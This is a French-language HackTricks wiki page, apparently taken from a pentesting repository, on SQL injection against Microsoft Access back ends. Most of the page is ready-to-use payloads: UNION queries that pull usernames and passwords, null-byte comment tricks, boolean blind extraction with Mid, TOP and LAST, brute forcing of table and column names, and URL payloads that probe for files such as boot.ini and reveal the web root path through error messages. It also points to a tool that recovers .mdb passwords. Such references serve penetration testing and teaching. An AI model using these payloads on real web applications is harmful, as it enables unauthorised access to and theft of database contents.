hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md
2023-06-03 13:10:46 +00:00

194 lines
12 KiB
Markdown

# Injection SQL MS Access
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Terrain de jeu en ligne
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## Limitations de la base de données
### Concaténation de chaînes
La concaténation de chaînes est possible avec les caractères `& (%26)` et `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Commentaires
Il n'y a pas de commentaires dans MS Access, mais apparemment il est possible de supprimer le dernier caractère d'une requête avec un caractère NULL :
```sql
1' union select 1,2 from table%00
```
Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requête :
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Requêtes empilées
Elles ne sont pas prises en charge.
### LIMIT
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats de la requête SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte en argument un entier représentant le nombre de lignes à retourner.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Tout comme TOP, vous pouvez utiliser **`LAST`** qui récupérera les **lignes depuis la fin**.
## Requêtes UNION / Sous-requêtes
Dans une injection SQL, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours qu'une clause `FROM` soit indiquée dans les **sous-requêtes ou les requêtes supplémentaires**.\
Ainsi, si vous voulez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer une clause `FROM` avec un nom de table valide**.\
Par conséquent, vous devez connaître un **nom de table valide**.
```sql
-1' UNION SELECT username,password from users%00
```
### Enchaînement de égalités + Substring
{% hint style="warning" %}
Cela vous permettra d'exfiltrer des valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.
{% endhint %}
**MS Access** permet une syntaxe étrange telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL sera à l'intérieur d'une clause **`WHERE`**, nous pouvons en abuser.
Imaginez que vous avez une injection SQL dans une base de données MS Access et que vous savez (ou avez deviné) qu'un **nom de colonne est username**, et que c'est le champ que vous voulez **exfiltrer**. Vous pouvez vérifier les différentes réponses de l'application Web lorsque la technique d'enchaînement d'égalités est utilisée et potentiellement exfiltrer le contenu avec une injection booléenne en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes.
```sql
'=(Mid(username,1,3)='adm')='
```
Si vous connaissez le **nom de la table** et la **colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **exfiltrer toutes les informations** via une injection SQL booléenne :
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
### Force brute des noms de tables
En utilisant la technique de chaînage d'égalité, vous pouvez également **forcer brute les noms de tables** avec quelque chose comme:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Vous pouvez également utiliser une méthode plus traditionnelle :
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_N'hésitez pas à vérifier cela dans l'aire de jeu en ligne._
* Noms de table courants de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Il y a une autre liste dans [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Forcer les noms de colonnes
Vous pouvez **forcer les noms de colonnes actuels** avec le truc d'égalité en chaîne avec:
```sql
'=column_name='
```
Ou avec un **group by** :
```sql
-1' GROUP BY column_name%00
```
Ou vous pouvez effectuer une attaque par force brute sur les noms de colonnes d'une **table différente** avec:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Extraction de données
Nous avons déjà discuté de la [**technique d'enchaînement d'égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres moyens :
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
En résumé, la requête utilise une instruction "si-alors" afin de déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En exploitant l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation ultérieure de LAST permet de ne considérer que le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "nom d'utilisateur" pour toutes les lignes.
### Basé sur le temps
Vérifiez [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
### Autres fonctions intéressantes
* `Mid('admin',1,1)` obtenir une sous-chaîne à partir de la position 1 de longueur 1 (la position initiale est 1)
* `LEN('1234')` obtenir la longueur de la chaîne
* `ASC('A')` obtenir la valeur ASCII du caractère
* `CHR(65)` obtenir la chaîne à partir de la valeur ASCII
* `IIF(1=1,'a','b')` si alors
* `COUNT(*)` Compter le nombre d'éléments
## Énumération des tables
À partir de [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database), vous pouvez voir une requête pour obtenir les noms des tables :
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Cependant, notez qu'il est très courant de trouver des injections SQL où vous **n'avez pas accès à la lecture de la table `MSysObjects`**.
## Accès au système de fichiers
### Chemin complet du répertoire racine Web
La connaissance du **chemin absolu du répertoire racine Web peut faciliter d'autres attaques**. Si les erreurs de l'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire Web**.
### Énumération de fichiers
Le vecteur d'attaque suivant peut être utilisé pour **inférer l'existence d'un fichier sur le système de fichiers distant**. Si le fichier spécifié existe, MS Access déclenche un message d'erreur informant que le format de la base de données est invalide :
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Une autre façon d'énumérer les fichiers consiste à **spécifier un élément de base de données.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Deviner le nom de fichier .mdb
Le **nom de fichier de la base de données (.mdb)** peut être déduit avec la requête suivante :
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
**name\[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
### Casser le mot de passe .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
## Références
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>